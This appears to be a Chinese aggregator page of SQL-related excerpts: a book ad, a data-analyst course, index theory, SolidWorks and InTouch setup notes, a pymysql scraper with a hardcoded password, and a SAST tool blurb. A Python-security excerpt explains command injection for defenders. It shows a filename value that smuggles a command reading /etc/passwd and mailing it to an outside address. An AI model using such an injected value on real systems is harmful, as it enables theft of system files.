sql的案例
改——申請兌換為《SQL Server 2005從入門到精通》
SQL Server 2005從入門到精通（中文版）
不管是系統管理員、數據庫應用開發人員還是IT顧問，都可以從這本全面和綜合的學習指南中快速獲得Microsoft SQL Server 2005的知識。本書包含了大型商業應用的許多真實示例和關于SQL Server 2005增強型連通性的重要信息，并用一整章的篇幅討論了故障診斷。Microsoft SQL Server的新用戶也可以從本書中快速，系統地獲得Microsoft SQL Server 2005的入門知識。...
點擊看大圖
市 場 價 ：
￥83.00
普通會員 ：
￥66.40
1-3星會員：
￥64.74
4-5星會員：
￥62.25
“校園特惠價”馬上了解 加入教材預訂單new （50天教材預留服務）
購買
團購
收藏
滿額免5元配送費 85城市貨到
展開 零基礎數據分析師技能：SQL、R、Python、Power BI ￥10
零基礎數據分析師技能：SQL、R、Python、Power BI
Data Analyst Skills for beginners - (SQL,R,Python,Power BI )
更新于2026年
MP4 | 視頻：h264，1920x1080 | 音頻：AAC，44.1kHz，雙聲道
語言：英語 | 時長：9小時 | 大小：2.9GB
掌握成為數據分析師所需的核心技能。
學習內容
- 連接各類數據源
- 數據清洗與轉換
- 探索性數據分析
- 使用數據框進行數據操作
- 數據可視化制作
- 使用SQL進行數據分析
- 使用Python進行數據分析
- 使用Power BI進行數據分析
- 使用R語言進行數據分析
學習要求
無需任何編程基礎。
課程介紹
數據分析是對數據進行檢查、清洗、轉換與建模的過程，旨在挖掘有效信息、得出結論并輔助決策。數據分析師通過收集、整理、研究數據，為業務提供洞察。本課程講解主流分析工具與方法：
- R語言：用于統計計算與可視化，支持各類統計模型與圖形展示。
- SQL：關系數據庫標準語言，用于讀取、處理與修改數據。
- Python：通用編程語言，常用于數據分析與可視化。
- Power BI：微軟云商業分析工具，支持多數據源連接與高效分析。
課程從零開始教學，無基礎也可輕松掌握數據分析師必備技能。
展開 聚集索引與非聚集索引
一.索引簡介
眾所周知，索引是關系型數據庫中給數據庫表中一列或多列的值排序后的存儲結構，SQL的主流索引結構有B+樹以及Hash結構，聚集索引以及非聚集索引用的是B+樹索引。這篇文章會總結SQL Server以及MySQL的InnoDB和MyISAM兩種SQL的索引。
SQL Sever索引類型有：唯一索引，主鍵索引，聚集索引，非聚集索引。
MySQL 索引類型有：唯一索引，主鍵（聚集）索引，非聚集索引，全文索引。
二.聚集索引
聚集（clustered）索引，也叫聚簇索引。
定義：數據行的物理順序與列值（一般是主鍵的那一列）的邏輯順序相同，一個表中只能擁有一個聚集索引。
單單從定義來看是不是顯得有點抽象，打個比方，一個表就像是我們以前用的新華字典，聚集索引就像是拼音目錄，而每個字存放的頁碼就是我們的數據物理地址，我們如果要查詢一個“哇”字，我們只需要查詢“哇”字對應在新華字典拼音目錄對應的頁碼，就可以查詢到對應的“哇”字所在的位置，而拼音目錄對應的A-Z的字順序，和新華字典實際存儲的字的順序A-Z也是一樣的，如果我們中文新出了一個字，拼音開頭第一個是B，那么他插入的時候也要按照拼音目錄順序插入到A字的后面，現在用一個簡單的示意圖來大概說明一下在數據庫中的樣子：
地址
id
username
score
0x01
1
小明
90
0x02
2
小紅
80
0x03
3
小華
92
..
..
..
..
0xff
256
小英
70
注：第一列的地址表示該行數據在磁盤中的物理地址，后面三列才是我們SQL里面用的表里的列，其中id是主鍵，建立了聚集索引。
展開 SolidWorks 2021 SP1已經發布~~
Microsoft SQL Server 2014
SOLIDWORKS 2021 SP5 是支持 SQL Server(R) 2014 的最后一個版本。
Microsoft SQL Server 2012
SOLIDWORKS 2019 SP5 是支持 SQL Server(R) 2012 的最后一個版本。
系統和圖形要求
重要提示：您必須更新您的顯卡驅動程序，才能充分利用 SOLIDWORKS 2021 中的全新 GPU 加速圖形系統。不更新顯卡驅動程序會導致性能和穩定性問題。
為獲得最佳圖形性能和穩定性，請參閱硬件認證。
為確保成功安裝并獲得最佳性能，請參閱 SOLIDWORKS 和 SW PDM 系統要求。
要將 SOLIDWORKS PDM 2020 與 SQL Server(R) 2014 或 SQL Server(R) 2014 Express 一起使用，您必須安裝 Service Pack 3 或更高版本。要將 SQL Server 2014 或 SQL Server 2014 Express 安裝升級到 SP3，請在此處下載 Service Pack。
SOLIDWORKS Visualize
要使 SOLIDWORKS Visualize 2021 與 NVIDIA iRay GPU 支持正常配合使用，需要具有對 CUDA(R) 10.2 或更高版本的 NVIDIA 驅動程序支持。此外：
對于啟用了 RTX 的 Turing 卡 (Turing? TU10x)，需要最低 442.19 的驅動程序版本以支持 RT 內核。
對于所有其他 NVIDIA GPU，需要最低 441.22 的驅動程序版本。
展開 
在PB中應用AutoCAD圖形數據庫
在包含blob或image等大二進制類型數據窗口中新增blob或image字段記錄時，應先用insertrow的方法產生空的blob或image 類型數據，再根據id號用updateblob SQL語句將AutoCAD Drawing OLE控件中的圖形數據更新到新增的記錄字段中。
后臺大型數據庫的管理非常重要，因為AutoCAD圖形信息量大，對數據庫要求比較高，我們在比較下選擇了Microsoft SQL Server6.5 + WinNT4.0平臺，現在庫存AutoCAD圖形6萬多個，數據庫大小18G，應用證明Microsoft的SQL Server運行情況良好，并且順利過渡2000年。
展開 #InTouch#Intouch報警數據庫配置精華
首先提醒：Alarm DB Logger 僅支持 SQL Server 身份驗證，并且 SQL Server 身份驗證必須設置為混合模式！
如果不幸，在安裝SQL Server時，將身份驗證設成windows驗證的話，可以通過以下步驟改變驗證模式。（以SQL Server2005為例）
1.右擊主機名彈出快捷菜單，選擇“Properties”打開服務屬性對話框；
2.選擇“Security”，將"Server authentication"改為“SQL Server and Windows Authentication mode”;
3.確定后，重啟計算機即可。
*************************************************************************************************
一、配置數據庫連接。
1.打開Alarm DB Logger Manager，單擊設置，出現 Alarm DB Logger Manager - 配置向導；
2.配置數據庫連接。執行以下操作：a 在服務器名框中，輸入安裝了報警數據庫的計算機的節點名。b 在數據庫框中，輸入 InTouch 報警數據庫的名稱。c 在用戶名框中，輸入為報警數據庫創建的用戶帳戶名。d 在口令框中，輸入與報警數據庫用戶帳戶關聯的口令。
3.在記錄模式區域中，配置存儲記錄的方式。執行以下操作之一：
? 單擊詳細，以便為每個報警條件（處于報警狀態、已確認、已返回正常）存儲一條單獨的記錄。
? 單擊合并，以便將報警的所有狀態（處于報警狀態、已確認、已返回正常）存儲在一條記錄中，并包含每次轉換的時間標簽。
4.如果需要，單擊創建以創建數據庫。
展開 結構動力學測試分析軟件-漢航NTS.LAB
NTS.LAB軟件基于高性能的數據庫存儲系統（SQL，Oracle，國產等可選），其無限制、高度完整的存儲方式保證了您的數據安全并提供了強大的數據管理功能。軟件界面使用視窗設計布局，對多通道與高實時性的圖形顯示進行了深度設計和優化。軟件中所有的后處理分析和報告生成應用程序都進行了專業優化設計，NTS.LAB將幫助您解決研發或運營中的結構動力學問題。
海量數據庫存儲架構
NTS.LAB支持高速的工業標準化SQL、Oracle和國產數據庫，基于文件的存儲方式保證了數據存儲的安全、快速和高效。配合使用最先進的SSD硬盤可達到10倍于標準磁盤的讀寫速度。由于是基于文件進行存儲，數據的完整性得到了保證，且對大容量數據的處理速度得到了顯著提高，尤其適用于大通道海量數據采集、控制和實時分析試驗應用。
多個工程項目中的數據對比和交換
NTS.LAB軟件能夠在瀏覽器中同時打開多個項目文件進行數據交換和比較，以及在不同工程項目中進行數據搜索。由于新版本軟件支持標準的SQL、Oracle和國產數據庫，工程師也可以使用其它兼容SQL、Oracle或國產數據庫的搜索工具進行數據處理。同時，NTS.LAB仍然支持不同行業標準數據格式之間的導入/導出。
充分利用64位系統的性能
NTS.LAB充分利用64bit系統大內存的特點。64位計算機系統的內存容量意味著能夠快速、高效地處理更多的通道數、更長的記錄時間和更快的實時函數計算。
展開 Python爬蟲實戰，pymysql模塊，Python實現抓取QQ音樂評論
import pymysql
# 創建數據庫
db = pymysql.connect(host='127.0.0.1', user='root', password='774110919', port=3306)
cursor = db.cursor()
cursor.execute("CREATE DATABASE QQ_Music DEFAULT CHARACTER SET utf8mb4")
db.close()
import pymysql
# 創建表格, 設置主鍵
db = pymysql.connect(host='127.0.0.1', user='root', password='774110919', port=3306, db='QQ_Music')
cursor = db.cursor()
sql = 'CREATE TABLE IF NOT EXISTS comments (nike VARCHAR(255) NOT NULL, comment VARCHAR(255) NOT NULL, praisenum INT NOT NULL, comment_id VARCHAR(255) NOT NULL, time VARCHAR(255) NOT NULL, PRIMARY KEY (comment))'
cursor.execute(sql)
db.close()
針對QQ音樂中去年夏天的網頁進行分析，查看了所有評論的尾頁，發現時間縮水了，因為熱評中有一條評論的時間7月12號，而所有評論最后一頁的時間卻是7月16號。很明顯，所有評論并不是貨真價實的所有評論，不知這算不算QQ音樂的BUG。
展開 學習 Python 這么多年，掉過的那些安全漏洞
首先是 SQL 注入。如果不使用 ORM，而是直接通過字符串結合變量的方式書寫 SQL 查詢，就有 SQL 注入的可能性。我看過許多代碼試圖利用轉義符防止 SQL 注入。事實上，轉義符做不到。
各種復雜的 SQL 注入方式：https://www.netsparker.com/blog/web-security/sql-injection-cheat-sheet/
命令注入發生在通過 popen、subprocess、os.system 調用進程，并傳遞變量作為參數時發生。調用本地命令時，參數變量有可能會被人為設置成惡意值。以下這段代碼（https://www.kevinlondon.com/2015/07/26/dangerous-python-functions.html）由用戶提供文件名，然后調用子進程：
import subprocess
def transcode_file(request, filename):
command = 'ffmpeg -i "{source}" output_file.mpg'.format(source=filename)
subprocess.call(command, shell=True) # a bad idea!
攻擊者可以將變量名設置為 "; cat /etc/passwd | mail them@domain.com 或者任何類似的危險命令。
應對方式：
如果你使用了 Web 框架，就利用 Web 框架提供的工具對輸入進行凈化。除非有足夠的理由，否則不要手工拼寫 SQL 查詢。大部分 ORM 都會提供凈化的手段。
展開 基于JSP+SQLSERVER+TOMCAT的合同信息管理系統
本系統是以Browser/Server（瀏覽器/服務器）結構和JSP語言及SQL Server2000數據庫和TOMCAT作為服務器開發的管理系統。首先，使用JSP具有較好的安全性和可移植性，具有動態頁面和靜態頁面分離，能夠脫離硬件平臺的束縛，而使用Browser/Server結構是因為這種結構可以減少客戶端很大維護工作量，且具有很強的使用范圍的伸縮性，客戶端通過瀏覽器統一界面，就可以完成內部的信息處理和外部環境的信息查詢，而使用SQL Server2000主要是由于它有快捷而健全的數據庫查詢引擎，能夠保護數據庫以防止不合法的使用所造成的數據泄露，更改或破壞，SQL Server提供多層用戶身份驗證的安全保證，其次，公司要求用JSP來實現系統功能，基于以上兩方面的原因，我采用了JSP來實現系統的建設。
登錄模塊如下圖所示：
系統登錄界面
頁面程序說明，如下表所示：
頁面程序說明
程序名稱
程序文件
Login.jsp
頁面傳入參數
Username,password
頁面提交URL
頁面傳出參數
Session["username"]
Session["group"]
功能說明
登錄系統
特殊注解
無
系統主界面
合同管理模塊設計
合同管理
合同添加
合同收款模塊設計
合同查詢模塊設計
最后，歡迎有需要歡迎通過微信公眾號聯系我們。
微信公眾號：320科技工作室。
展開 新聞速遞丨Altair RapidMiner 數據分析和 AI 平臺助力企業加速智能升級：擴展智能體 AI 及分析生態系統
該工具可在主流操作系統與環境中無縫運行，支持用戶在統一框架內執行 SAS、Python、R 與 SQL 代碼。
在此基礎上，Altair SLC Hub? 為 SLC 集群提供集中式編排、調度與資源管理功能。新版本引入“命令行界面 (HubCLI)”與“Windows 憑據集成”，提升工作負載控制能力；后續還將支持單點登錄與高可用性功能。
Altair Analytics Workbench?深化了 Altair SLC 與 SLC Hub 的集成，為用戶提供單一多語言工作空間，支持分析流程的構建、運行與部署。目前該工具已支持 Windows、Linux 與 macOS 系統，新版本新增“獨立 SQL 查詢塊”、“工作流導入加速器”，以及 “AI 驅動輔助工具”（可用于代碼生成、文檔撰寫與數據探索）。增強型筆記本功能支持實時協作，并可與企業實時數據集成。
更智能的數據準備與治理
Altair? Monarch? 在自助式數據準備領域持續領先，為分析師提供更高效的工具，將原始、復雜的數據轉化為可信、可直接用于分析的數據集。此次更新支持通過編寫 Monarch 表達式，直接從 SQL Server、Oracle、MySQL、DB2 等 ODBC 數據源中篩選數據，無需編寫復雜 SQL 查詢或數據庫專屬語法。增強的 OData 連接器簡化了從 Mendix 端點獲取數據的流程；而優化后的搜索與數據血緣追蹤功能，讓數據來源追溯更便捷，同時確保數據準備全流程的透明度。
為將 Monarch 的能力擴展至企業級場景，Altair? Monarch Server? 在集中式高可用環境中提供可擴展的報表存儲、流程編排與自動化功能。
展開 
Altair RapidMiner 數據分析和 AI 平臺助力企業加速智能升級：擴展智能體 AI 及分析生態系統
該工具可在主流操作系統與環境中無縫運行，支持用戶在統一框架內執行 SAS、Python、R 與 SQL 代碼。
在此基礎上，Altair SLC Hub? 為 SLC 集群提供集中式編排、調度與資源管理功能。新版本引入“命令行界面 (HubCLI)”與“Windows 憑據集成”，提升工作負載控制能力；后續還將支持單點登錄與高可用性功能。
Altair Analytics Workbench?深化了 Altair SLC 與 SLC Hub 的集成，為用戶提供單一多語言工作空間，支持分析流程的構建、運行與部署。目前該工具已支持 Windows、Linux 與 macOS 系統，新版本新增“獨立 SQL 查詢塊”、“工作流導入加速器”，以及 “AI 驅動輔助工具”（可用于代碼生成、文檔撰寫與數據探索）。增強型筆記本功能支持實時協作，并可與企業實時數據集成。
更智能的數據準備與治理
Altair? Monarch? 在自助式數據準備領域持續領先，為分析師提供更高效的工具，將原始、復雜的數據轉化為可信、可直接用于分析的數據集。此次更新支持通過編寫 Monarch 表達式，直接從 SQL Server、Oracle、MySQL、DB2 等 ODBC 數據源中篩選數據，無需編寫復雜 SQL 查詢或數據庫專屬語法。增強的 OData 連接器簡化了從 Mendix 端點獲取數據的流程；而優化后的搜索與數據血緣追蹤功能，讓數據來源追溯更便捷，同時確保數據準備全流程的透明度。
為將 Monarch 的能力擴展至企業級場景，Altair? Monarch Server? 在集中式高可用環境中提供可擴展的報表存儲、流程編排與自動化功能。
展開 數學系出身，如何從零到一地開始機器學習
不過在接觸這個系統的過程中，逐步開始學習了 Linux 操作系統的一些簡單命令，SQL 的使用方法。
了解 SQL 的話其實不只是通過了這個系統，通過當時的 ADS 值班，幫助業務方提取數據，也把 SQL 的基礎知識進一步的加深了。SQL 的學習的話，在2015年讀過兩本非常不錯的入門教材《SQL基礎教程》與《HIVE編程指南》。Linux 的相關內容閱讀了《Linux 命令行與 Shell 腳本編程大全》之后也就大概有所了解了。于是工作了一段時間之后，為了總結一些常見的 SQL 算法，寫過一篇文章 "HIVE基礎介紹"。
在做推薦項目的過程中，除了要使用 SQL 來處理數據，要想做機器學習，還需要了解常見的機器學習算法。當年接觸到的第一個機器學習算法就是邏輯回歸（Logistic Regression），既然提到了機器學習的邏輯回歸，無法避免的就是交叉驗證的概念，這個是機器學習中的一個基本概念。
通過物品的類別屬性和用戶的基本特征來構造出新的特征，例如特征的內積（inner product）。后來在學習的過程中逐步添加了特征的外積和笛卡爾積，除了特征的交叉之外，還有很多的方法來構造特征，例如把特征標準化，歸一化，離散化，二值化等操作。除了構造特征之外，如何判斷特征的重要性則是一個非常關鍵的問題。
最常見的方法就是查看訓練好的模型的權重，另外還可以使用 Pearson 相關系數和 KL 散度等數學工具來粗糙的判斷特征是否有效。在此期間也寫過一些文章“交叉驗證”，“特征工程簡介”，“KL散度”。關于特征工程，除了閱讀一些必要的書籍之外，最重要的還是要實踐，只有實踐才能夠讓自己的經驗更加豐富。
在做推薦系統的時候，之前都是通過邏輯回歸算法（Logistic Regression）離線地把模型的權重算好，然后導入線上系統，再進行實時的計算和打分。
展開 SolidWorks Electric電氣版本安裝失敗處理費方法 ￥29.9
1：卸載所有的solidworks相關軟件
2：卸載SQL所有的相關軟件，可以使用附件的工具sql_un_x64.exe，那個工具里顯示的所有軟件都需要卸載
3：清理solidworks文件夾
C:\Windows\solidworks
C:\ProgramData\solidworks
C:\Program Files\SOLIDWORKS Corp
C:\Program Files\Common Files\SOLIDWORKS Shared
C:\Program Files (x86)\Common Files
C:\Program Files (x86)\Common Files\SOLIDWORKS Shared
C:\Program Files (x86)\Common Files\SOLIDWORKS 安裝管理程序
4: 使用Registry Workshop 搜索solidworks并清理（這個過程可能時間比較長）
5：重新安裝,（還有一種方法就是重新安裝系統）
以上的方法適用于所有的solidworks失敗重新安裝問題；
建議自行搜索
展開 White Source SAST—信息安全測試工具
-廣泛的適用性
White Source SAST支持C/C++、C#、Java、PHP、ASP、VB.Net、Visual Basic、VB Script、Python、Ruby、Java Script、Type Script、Node.js、Android Java、IOS Objective C、PL/SQL、Cold Fusion、Groovy、COBOL等多種開發語言/框架，覆蓋當前多數開發平臺。
White Source SAST可以在服務器上部署為Web應用，并通過網頁方便地訪問，并提供強大的RESTAPI以供通過Windows、Linux或Mac平臺進行調用。也可以直接部署為Windows桌面版。White Source SAST支持與Git、TFS、SVN等版本控制系統進行集成，便于代碼管理。
-漏洞覆蓋
White Source SAST能夠為使用不同開發環境和框架，在不同平臺上開發的應用程序掃描多達30多種漏洞類型（其中包括OWASP Top10），其中一些如下：
· SQL注入
· XPATH注入
· 文件泄漏
· 郵件轉發
· 跨站腳本攻擊
· 弱加密
· 危險配置項
· 代碼注入
· 危險的文件擴展名
· Shell命令執行
· HTTP響應分拆攻擊
· 信息泄漏
· LDAP注入
應用&案例
White Source SAST在汽車、金融、互聯網等領域均有應用：
展開 